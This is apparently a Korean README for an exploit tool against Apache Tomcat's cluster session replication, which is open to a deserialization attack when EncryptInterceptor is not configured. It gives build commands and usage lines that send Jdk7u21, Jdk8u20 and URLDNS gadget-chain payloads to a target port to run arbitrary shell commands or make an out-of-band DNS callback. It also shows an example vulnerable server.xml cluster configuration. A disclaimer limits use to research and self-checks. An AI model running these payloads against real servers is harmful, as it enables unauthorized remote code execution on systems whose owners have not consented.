threedr3am/tomcat-cluster-session-sync-exptomcat가 자체 session 동기화 기능을 사용할 때 안전하지 않은 구성(EncryptInterceptor를 사용하지 않음)으로 인해 발생하는 역직렬화 취약점입니다. 정교하게 조작된 패킷을 통해 tomcat 자체 session 동기화 기능을 사용하는 서버를 공격할 수 있습니다. PS: 이는 CVE-2020-9484가 아닙니다. 9484는 session 지속화 관련 취약점이고, 이는 session 클러스터 동기화 관련 취약점입니다!
도구는 보안 연구 및 내부 자체 점검에만 사용되며, 불법 공격에 사용하는 것을 금지합니다. 발생하는 모든 책임은 사용자에게 있습니다.
이는 Tomcat이 자체 세션 동기화 기능을 사용할 때 보안 설정이 취약한 경우(EncryptInterceptor를 사용하지 않음) 발생하는 역직렬화 취약점입니다. 정교하게 조작된 데이터 패킷을 통해 Tomcat의 자체 세션 동기화 기능을 사용하는 서버를 공격할 수 있습니다.
먼저 JAR 패키지를 컴파일합니다:
mvn clean compile assembly:assembly
생성된 JAR 파일은 target 디렉터리에 있습니다.
사용 예시:
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
(conf/server.xml):
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>